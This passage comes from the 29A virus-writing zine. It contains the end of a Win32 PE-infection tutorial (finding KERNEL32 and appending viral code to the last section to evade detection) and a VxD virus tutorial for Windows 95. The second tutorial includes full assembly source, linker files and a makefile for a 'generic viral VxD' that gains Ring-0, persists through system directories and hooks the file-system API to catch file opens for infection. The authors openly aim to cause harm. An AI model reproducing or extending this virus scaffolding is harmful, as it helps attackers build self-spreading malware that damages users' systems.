a big problem here... the address of KERNEL32 is not fix at all. It has not
been the same in any of the known versions of Windows95 as well as for Win-
dowsNT... and this means we can't (or at least should not) assume hardcoded
values because they'd force our virus to be compatible with only one of the
Win32 platforms, and what we're looking for is just the opposite thing.

ÄÄ´ The GetModuleHandle solution ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The solution is always in APIs. There's an API, "GetModuleHandle", which is


used in order to get the address of a given module. And, of course, this is
of our interest since KERNEL32.dll is a module. But now comes a pretty cu-
rious thing... how the fuck is it possible to call an API function if we're
looking for KERNEL32 just because we need it to be able to call APIs? Quite
similar to the question "what was first, the egg or the hen?".

It is simple. Just don't infect PE files which don't import any function of
KERNEL32.dll (almost impossible tho), so you will make sure, every file you
infect imports something from KERNEL32.dll, so it will be possible for you
to look in the IAT for the RVA of the GetModuleHandle API, and then call it
from your code. Once having called this API by means of its RVA you'll have
the address of KERNEL32.dll waiting for you in EAX ;)

ÄÄ´ GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Now it's ok, you already have the address of KERNEL32.dll, but... where are
the address of the APIs you need? how will you call them? the answer is ea-
sy again... by means of another API, "GetProcAddress", which makes possible
to get the address of any API function in any given module.

Now that you have already guessed the base address of KERNEL32.dll, all you
need to do is to specify the name of the API you're looking for in that mo-
dule and call the GetProcAddress API. A table of API names and a good loop
are strongly recommended in order to save a good amount of bytes ;)

It's understood that, same as for GetModuleHandle, you need to get the RVA
of GetProcAddress in the IAT of your victims, while infecting them, because
there's no way to know it at the time you need to call it :)

Obviously, both the GetModuleHandle, and the GetProcAddress solutions might


not work under certain strange circumstances. For the case of this happens,
you should have some extra routines which, by means of undocumented tricks,
could get the address of both APIs. Two good examples of this are included
in the source code of the Win32 viruses published in this issue of 29A.

ÄÄ´ Simple PE infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

This very last point of the so called "29A technique" deals with file hand-
ling in Win32 (API-based, of course) and the PE infection itself. There are
two very important things on this: file mapping in memory and attachment to
the last section declared in the PE header.

File mapping in memory is a new way of handling files Win32 platforms pro-
vide in order to make things much easier. Now you don't need to read, write
or lseek anymore. Just map any file in memory and you'll get a base address
where it has been mapped. From that base address, just reference any offset
and read from it, write into it, and do whatever you want, with no need to
lseek to any position... it's mapped in your memory :)

And the second and last point is extremely important. Before Jacky Qwerty
came up with this technique, all the Win95 viruses infected PE files by mo-
difying the PE header and inserting a new section into it, then copying the
viral body into that last section. This was very easy to detect, apart from
being a very tedious method and taking a lot of bytes in your code. The so-
lution we provide to this in our 29A technique is to update the size of the
last section of the PE file in the PE header, including the size of our vi-
rus, and then appending our code to the end of this section.

Harder to detect, easier to write ;)

ÄÄ´ Cool addings ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

There are a lots of things which have not been mentioned in this tutotial,
albeit they are being already used and enjoyed, such as the implementation
of Structure Exception Handling (SEH), 32-bit polymorphism, and many other
cool techniques which make our Win32 viruses much more stable and robust.

These and other topics will be referenced in our next issue, where a lot of
code examples will be available to make possible to check these new tricks.
Till then, put the 29A technique in practice, and do not forget to make use
of the tools we provide to you in this issue of 29A (PEWRSEC, GETPROC, and
the 29A INC files, which are extremely useful to code your Win32 viruses).

Mister Sandman,
bring me a dream.
Virus oriented VxD writing tutorial
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
GriYo/29A

This tutorial represents just a minimum introduction to VxD programming. To


dominate the subject it deals with you need something more than this tuto-
rial. Nevertheless, I've tried to explain everything very clearly, so noone
stays on land ;)

What is a VxD?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, let's go with what we're interested on. A VxD is a 32-bit code chunk
which executes in protected mode with RING-0 priviledge level. This is be-
cause they have to deal with system's resources, such as hardware devices
and installed software. I hope after reaching this point there is no doubt
about our intentions, right? it's about writing a VxD to control installed
software (of course!). To achieve this, we'll pinch the system where we can
cause more harm, the file system.

How to start
ÄÄÄÄÄÄÄÄÄÄÄÄ
Before getting on to work we must get some tools. This software is availa-
ble in the Microsoft Developer Network and a couple places more. You will
need to get your hands on them if you're interesting on writing VxDs.

- Microsoft Macro Assembler (i used 6.11c).


- Linear-Executable Linker (i used 1.00.058).
- Microsoft SDK's ADDHDR.EXE and MAPSYM32.EXE.

Since the first viruses for Windows95 written as VxD sources started to go
around, I've found many people who look for the includes needed to compile
these sources. You will need the following files from the SDK:

- VMM.INC : in this file you can find the macros and the defines of the
Virtual Machine Manager services.
- DEBUG.INC : only if you need to debug.
- SHELL.INC : this file declares the services which provide access to ma-
ny Windows functions, such as MessageBox.
- IFS.INC and
- IFSMGR.INC: they're only necessary if we want to fuck around with the
Windows95 file system.

The include files appear in the source between the .xlist and .list direc-
trices.

Writing a VxD
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Writing a VxD is something extremely easy if we use a generic source on
which we will add our code. Let's divide the work into several stages, this
way we may install and test the virus once we've completed each stage.

First start with a generic VxD which contains the segment, VxD and control
process declares. Later add the initialization procedure in real mode which
is, as we will see, the well-known residency check. Now write the VxD ini-
tialization and file-hooking processes. And finally write the remaining VxD
procedures.
VxD segments
ÄÄÄÄÄÄÄÄÄÄÄÄ
Inside the VxD we can find five different types of segments, each of them
with its own characteristics. So as to declare these segments we can use
the following macros:

- VxD_CODE_SEG and VxD_CODE_ENDS: also called _LTEXT, this is the protec-


ted mode code segment. The declare of this segment is compulsory.

- VxD_DATA_SEG and VxD_DATA_ENDS: also called _LDATA, they declare the


data segment for global use in the VxD. It's also needed to declare it.

- VxD_ICODE_SEG and VxD_ICODE_ENDS: also called _ITEXT. These two macros


define the beginning and the end of the protected mode initialization
code segment. This segment is optional and is discarded once completed
the initialization (after receiving the Init_Complete message).

- VxD_IDATA_SEG and VxD_IDATA_ENDS: also called _IDATA, here we may write


all the necessary data for the initialization, which are discarded once
the Init_Complete message is received. Its use is optional.

- VxD_REAL_INIT_SEG and VxD_REAL_INIT_ENDS: this optional segment, called


also _RTEXT, contains the procedure which the Virtual Machine Manager
will call before loading the rest of the VxD. It is discarded once the
procedure returns.

All these segments, except for _RTEXT (real mode initialization), are pro-
tected mode segments over a flat memory model. This means offsets are 32-
bit and we will have to use the "offset32" macro in all the places in which
we used "offset" before. Now CS, DS, ES and SS can't be modified, but ins-
tead we can use FS and GS.

VxD declaration
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In order to declare our VxD we'll use the following macro:

Declare_Virtual_Device name, major version, minor version, control proce-


dure, device-ID, init order, V86 API handler, protected mode API handler

Fuck, at first sight it looks a terrible thing, but lemme write an example,
which i'm sure will change this first impression. We'll declare a VxD named
ViRuS, which will be 1.0 version of our virus.

Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

As you can see I haven't used the last parameters, as we ain't neither in-
terested in providing an API for other programs nor in init order (later?).

VxD-ID
ÄÄÄÄÄÄ
It is a number which lets us differ an VxD from other. This is necessary if
the VxD provides other programs an API or if it provides services to other
VxDs. In our case we'll use Undefined_Device_ID as ID.
VxD Control Procedure
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Virtual Machine Manager sends control messages to the VxD using this
procedure. This way it notifies several VxDs about certain events. Followin
our last example, our control procedure would look like this:

BeginProc VxD_Control ; Name of control procedure which we


; declared with the VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init


Control_Dispatch Device_Init, ViRuS_Device_Init

EndProc VxD_Control

By doing this we're declaring which procedures will run whenever certain
system control messages are received. That is, run the ViRuS_Critical_Init
procedure when a Sys_Critical_Init is received, and whenever a Device_Init
message is received, run the ViRuS_Device_Init procedure.

System Control Messages


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
As we have said, the Virtual Machine Manager sends messages to VxDs so as
to notify about certain changes in the system. There are many different me-
ssages, but, as we are only beginners, we are interested just in a few:

- Sys_Critical_Init: this is the first message our VxD will receive. As


interruptions haven't been enabled yet, neither Simulate_Int nor Exec_
Int may be used. Other init services are at our disposal, such as, Get_
Exec_Path, which will provide us with the directory to install our VxD.

- Device_Init: second message, which tells us interruptions are available


now. It will be there, where we'll hang to the file system.

- Init_Complete: third and last message related to system init. On return


from the procedure which controls this message, the Virtual Machine Ma-
nager will discard the segments which contain code and data for the i-
nit (_ITEXT and _IDATA respectively).

- System_Exit: this is the first message we will get on system shut down.
Although interruptions are enabled, the services Simulate_Int and Exec_
Int mustn't be used.

- Sys_Critical_Exit: last shut down message, everything is clear...

In order to tell Windows95 to load our VxD we must add a line, DEVICE=VI-
RUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to
the \SYSTEM directory and reboot the system. Another solution is shown, for
instance, in the Win95.Lizard virus by Reptile/29A, included in this issue.
The trick consists on using the \IOSUBSYS directory.

Windows95 may load a VxD dinamically, which is very interesting. However it


carries the use of new messages to notify the dinamic start and stop. These
techniques are not included in the objectives of this article because they
are part of a more advanced subject and #$%!@!!! because I don't wanna was-
te the rest of my life writing this! :P
Real mode initialization
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thsi is the only part of a VxD in real mode. It runs on start of VxD load
an initialization process. This procedure may be used to avoid the loading
of the VxD, the loading of Windows, etc. We will use it for our residency
check, and avoid loading again the VxD if it was already loaded. The Vir-
tual Machine Manager calls this procedure with the following parameters:

AX -> VMM version number.

AH -> major version.


AL -> minor version.

BX -> Flags on load.

Duplicate_Device_ID -> a VxD with the same ID has been loaded.


Duplicate_From_INT2F -> same as the previous one, from int 2fh.
Loading_From_INT2F -> self explanatory :)

ECX -> 32-bit pointer, points to the entry for the real mode initializa-
tion services routine, which allows things such as reading the re-
gistry or SYSTEM.INI.

EDX -> pointer to int 2fh provided data, or null.

SI -> environment segment address, as passed by MS-DOS.

Our VxD may indicate the Virtual Machine Manager to perform several func-
tions, such as reserving physical pages, by returned parameters:

AX -> action.

Abort_Device_Load: this is the value which we will return when


the VMM tells us of a previously loaded VxD with the same VxD-ID.
Prevents the VxD from being loaded without disturbing other VxDs.

Abort_Win386_Load: tells VMM that everything is screwed up and it


should better not load Windows (which is nearly always) :P

Device_Load_Ok: when VMM receives this value, it understands that


initialization is running with no problems, and that the loading
process must continue.

No_Fail_Message: this value is used in combination with Abort_De-


vice_Load and with Abort_Win386_Load to prevent some error messa-
ges from appearing as a result of aborting Win or VxD loading.

BX -> points to an array with the numbers of the pages to reserve for
the VxD. This array ends in a NULL and contains pages ranging from
0000h to 0100h. If we don't want to reserve any pages, this value
is kept equal to 0000h.

EDX -> reference data, by now we'll set it to 00000000h.

SI -> instance data, we'll also set it to 0000h.

VMM services of our interest


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Virtual Machine Manager is the heart of the operating system, as it is
it the encharged to manage every virtual machine (hence, VMM). Moreover, it
offers several services, some of which I'll describe as an example.

Get_Cur_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the VM being executed right now.

VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx

Get_Sys_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the system VM.

VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx

Get_VMM_Version
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get info about the VMM version.

VMMcall Get_VMM_Version
mov [Major],ah ; Major version number
mov [Minor],al ; Minor version number
mov [Debug],ecx ; Revision number

Get_Config_Directory
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This great function provides us with the complete path to the directory
where Windows mantains the system files such as SYSTEM.INI.

VMMcall Get_Config_Directory
mov [win_path],edx

Get_Exec_Path
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get a pointer to the path where Windows keeps the VMM32.VXD file. This
will be the best directory regarding to save our viral VxD, hidden bet-
ween system files in \SYSTEM.

VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx

The ECX register keeps the number of characters in the path string, in-
cluding last backlash "\".

_HeapAllocate
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Allocate memory in system's heap.
VMMcall _HeapAllocate,<#bytes,flags>

or eax,eax ; eax = 00h if error


jz not_allocated
mov [block_ptr], eax ; Pointer to allocated block

#bytes -> specifies number of bytes to allocate

flags -> refers to the following flags:

HEAPLOCKEDIFDP: allocate a memory block in a locked zone, only if


using MS-DOS or BIOS functions in order to page.

HEAPINIT: this flag can only be specified during initialization.


It allocates a memory block which will be automatically freed on-
ce init is completed.

HEAPSWAP: the block is allocated in a paged memory zone.

HEAPZEROINIT: the allocated block is initialized with 00h's.

_HeapFree
ÄÄÄÄÄÄÄÄÄ
Free a memory block allocated with last function.

VMMcall _HeapFree,<block_ptr,flags>

or eax,eax ; eax = 00h if error


jz error

Hook_V86_Int_Chain
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Add a new handler to a V86 interruption. Gollum virus uses this service
in order to monitor calls to the interrupt 21h.

mov eax,int_number ; Int to hook


mov esi,OFFSET32 my_handler ; Pointer to our handler
VMMcall Hook_V86_Int_Chain
jc error ; Carry set if error encountered

System calls new controller like this:

mov eax,int_number ; Interruption


mov ebx, VM ; Running VM handler
mov ebp, OFFSET32 crs ; Pointer to the Client_Reg_Struc
call [my_handler]

jc pass_to_next ; Carry set if the funciton wasnt


; dispensed

We also have an Unhook_V86_Int_Chain, whose mission is to free the inter-


ruption handler just installed.
mov eax,int_number ; Int number
mov esi,OFFSET32 Hook_Proc ; Address to the procedure which
; will be erased from the chain

VMMcall Unhook_V86_Int_Chain
jc error ; Carry set if error encountered

Installable File System


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here we have all those functions which we continuously use in MS-DOS and a-
llow us to open files, read them, etc... it will be here where we will hook
our virus so as to monitor every operation the system will perform on files
in order to infect them. But let's go step by step.

To perform our operations on files we will use a service which will provide
us with the most common functions such as read, write, etc. Here it is:

mov eax,R0_OPENCREATFILE ; Function to call

; Requiered Params
mov cx,0 ; - Attributes
mov bx,2 ; - Flags
mov dx,0011h ; - Action and special flags
mov esi,OFFSET32 filename ; - Guess what??? ;)

VxDCall IFSMgr_Ring0_FileIO ; And finally, the call

Then the only thing we need in order to start is to know how to call every
function and how to pass the params. Well, this is the I/O form of some of
the functions we will mostly use...

OpenCreateFile
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We will use this function to open or create files. Input params are:

EAX -> function R0_OPENCREATFILE


BX -> open mode and flags *
CX -> attributes
DH -> special flags (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> action to perform *
ESI -> pointer to the filename string

And output parameters are:

if CF=0

EAX -> file handle


ECX -> performed action *

if CF=1 error

* = Check int 21h function 6ch

ReadFile
ÄÄÄÄÄÄÄÄ
With R0_READFILE we'll read bytes from a previously opened file (with the
R0_OPENCREATEFILE call). Following parameters are expected:

EAX -> R0_READFILE


EBX -> file handle
ECX -> bytes to read
EDX -> place on file where to start reading
ESI -> pointer to buffer where to write data

Output:

if CF=0 then ECX = number of read bytes


if CF=1 error

WriteFile
ÄÄÄÄÄÄÄÄÄ
That is, write into a file, params are:

EAX -> R0_WRITEFILE


EBX -> file handle
ECX -> bytes to write
EDX -> place in file where to start writing
ESI -> pointer to the data we want to write

Output:

if CF=0 then ECX = number of written bytes


if CF=1 error

CloseFile
ÄÄÄÄÄÄÄÄÄ
In order to close a just infected file ;) The input params are:

EAX -> R0_CLOSEFILE


EBX -> file handle

Output:

if CF=0 file was closed ok


if CF=1 error (AX = errorcode)

GetFileSize
ÄÄÄÄÄÄÄÄÄÄÄ
I'm sure we'll find it useful. Use these parameters:

EAX -> R0_GETFILESIZE


EBX -> file handle

As a result:

if CF=0 then EAX = file size in bytes


if CF=1 error (AX = errorcode)

And well, we could start now, however we'll still need some more, such as
FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful
note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a
bit if we don't like hard drives... :)

So we already know how to get on files, now we need to know how to hook up
to the File System so we can monitor its activity. We'll use an IFS manager
service, like this:

mov eax,OFFSET32 hook_procedure


push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax
;Continue initialization process
clc
ret
error:
stc
ret

This way we tell the file system the address of our monitor procedure. Lets
see an example on writing this procedure...

hook_procedure:

; Follow C calls rules


push ebp
mov ebp,esp
sub esp,20h

; At this point we can address the following params using


; the stack:

; ebp+00h -> saved EBP value.


; ebp+04h -> return address.
; ebp+08h -> supplies the address of the FSD function that
; is to be called for this API.
; ebp+0Ch -> supplies the function that is being performed.
; ebp+10h -> supplies the 1-based drive the operation is being
; performed on (-1 if UNC).
; ebp+14h -> supplies the kind of resource the operation is being
; performed on.
; ebp+18h -> supplies the codepage that the user string was
; passed in on.
; ebp+1Ch -> supplies pointer to IOREQ structure.

; Total 20h bytes

; Next we'll do is check if this call has been performed by


; the virus while infecting a file

; Using a switch, we'll avoid dropping into an endless loop.

cmp dword ptr [our_own_call],"BUSY"


je exit_FS_hook

; This is the moment in which we check the function being called

cmp dword ptr [ebp+0Ch],IFSFN_OPEN


je virus_OPEN_FILE
exit_FS_hook:

mov eax,dword ptr [ebp+1Ch]


push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Finally let's call last IFS monitor procedure

mov eax,dword ptr [Prev_IFS_Hook]


call dword ptr [eax]

; The procedure is responsible for clearing the stack before


; RETurning the control to the caller

add esp,00000018h

; RETurn

leave
ret

Cannonicalized paths
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized
path has quite different structure from that of C:\DOS we know so well ;)

This structure composes of:

1 WORD with the path's length (including this WORD but not the final NULL
character).

1 WORD with the offset of the path element of the string, each path ele-
ment keeps info about a path's part.

Various path elements. Their structure is composed of 1 WORD with the


pathname length (including the self WORD) followed by an Unicode string
with the name of that path element.

All cannonicalized paths contain a complete path from the partition root.

Installable File System services


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Some of these services have the format of a call in C so parameters are ac-
tually saves in the stack, depending on the function's necessities. Other
services are written to be called from ASM, hence loading the params in the
pertinent registers. The only service which can be useful for now is IFSMgr
_GetVersion, which allows us to check IFS's version.

IFSMgr_GetVersion
Input:

There are now input parameters

Output:

If CF=0 then EAX keeps the IFS manager version number


If CF=1 error

Generic viral VxD


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is an example for a generical viral VxD, over which to write the rest
of the code. The project is composed of the following files:

VIRUS.ASM ; ASM source with the viral VxD


VIRUS.DEF ; Module definition file
VIRUS.LNK ; Linker specifications file
MAKEFILE ; Project file

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

MASM=1

.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc

.LIST

Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,

VxD_REAL_INIT_SEG

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 real mode initialization code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

BeginProc VxD_Real_Init_Proc

; Installation check

test bx,Duplicate_Device_ID
jnz short abort_virus_load

; Dont use any exclusion,instance or reference data

xor bx,bx
xor si,si
xor edx,edx

; Not installed, load device

mov ax,Device_Load_Ok
ret

abort_virus_load:
; Abort device loading process

mov ax,Abort_Device_Load or No_Fail_Message


ret

EndProc VxD_Real_Init_Proc

VxD_REAL_INIT_ENDS

VxD_LOCKED_DATA_SEG

; We have read/write access to locked code segment because


; its into a loked data segment

VxD_LOCKED_CODE_SEG

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 device init ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

BeginProc VXD_Device_Init

; This initialization code is into VxD_LOCKED_CODE_SEG


; in order to avoid paging while fucking around with IFS.

; Check installable file system version

cld
VxDCall IFSMgr_Get_Version
jc exit_device_init

; Get path of WIN386.EXE

VMMCall Get_Exec_Path

; Copy path to our buffer

mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb

; Write name of our VxD file next to the path

mov esi,OFFSET32 virus_VxD_Name


mov ecx,0Bh
cld
rep movsb

; At this point we have the path and name of our


; virual VxD into the Windos \SYSTEM directory...
; We can read it on a buffer or copy it directly
; while infecting the file...

; Following service is called to install a filesystem API hook.


; This should be called by a VxD that wants to hook the
; filesystem api call and do special processing on them.
; The IFS manager returns a pointer of the next hooker in the
; chain.

mov eax,OFFSET32 virus_FS_Monitor


push eax
VxDCall IFSMgr_InstallFileSystemApiHook
; If this function is failed for reasons such as out of memory,
; the return value is 0.

add esp,00000004h

or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax

exit_device_init:

; Continue initialization process

clc
ret

error_device_init:
stc
ret

EndProc VXD_Device_Init

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 file API hook ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

BeginProc virus_FS_Monitor

; Errr... Using C calling conventions

push ebp
mov ebp,esp
sub esp,20h

; Parameters into stack:

; ebp+00h -> saved EBP value.


; ebp+04h -> return address.
; ebp+08h -> supplies the address of the FSD function that
; is to be called for this API.
; ebp+0Ch -> supplies the function that is being performed.
; ebp+10h -> supplies the 1-based drive the operation is being
; performed on (-1 if UNC).
; ebp+14h -> supplies the kind of resource the operation is being
; performed on.
; ebp+18h -> supplies the codepage that the user string was
; passed in on.
; ebp+1Ch -> supplies pointer to IOREQ structure.

; Total 20h bytes

; Check if we are trying to process our own IFS calls

cmp dword ptr [our_own_call],"BUSY"


je exit_FS_hook

; Check for OPEN


; This function is called also before execution...

cmp dword ptr [ebp+0Ch],IFSFN_OPEN


je virus_OPEN_FILE
exit_FS_hook:

; Prepare parameters for calling previous FS API hook

mov eax,dword ptr [ebp+1Ch]


push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Call previous hook

mov eax,dword ptr [Prev_IFS_Hook]


call dword ptr [eax]

; IFS hooker needs to fix the stack before return to caller

add esp,00000018h

; Back to caller

leave
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Open file/create a file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

virus_OPEN_FILE:

; Save regs
pushfd
pushad

; Set IFS busy flag


mov dword ptr [our_own_call],"BUSY"

; Put here code to process filename and infect it

; Reset IFS busy field

mov dword ptr [our_own_call],"FREE"

; Get regs back

popad
popfd
jmp exit_FS_hook

EndProc virus_FS_Monitor

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 VxD control dispatcher ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

BeginProc VXD_Control
Control_Dispatch Device_Init, VxD_Device_Init
clc
ret

EndProc VXD_Control

VxD_LOCKED_CODE_ENDS

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers into locked data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Prev_IFS_Hook dd 00000000h ;Previous IFS hooker


our_own_call db "EERF"
VxD_File_Name db 80h dup (00h) ;Path of virus VxD
virus_VxD_Name db "virus.VXD",00h ;Name of virus VxD file

VxD_LOCKED_DATA_ENDS

END

; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

LIBRARY VXD
DESCRIPTION 'ViRuS95'
EXETYPE DEV386

SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE

EXPORTS
VXD_DDB @1

; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP

VIRUS.def

; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

NAME = VIRUS

LINK = link386.exe

!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif

all : VIRUS.vxd

ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML

VIRUS.vxd: VIRUS.def VIRUS.obj


link386 @VIRUS.lnk
addhdr VIRUS.vxd
mapsym32 VIRUS
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

GriYo/29A

I'm not in the business...


... I am the bussiness.
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
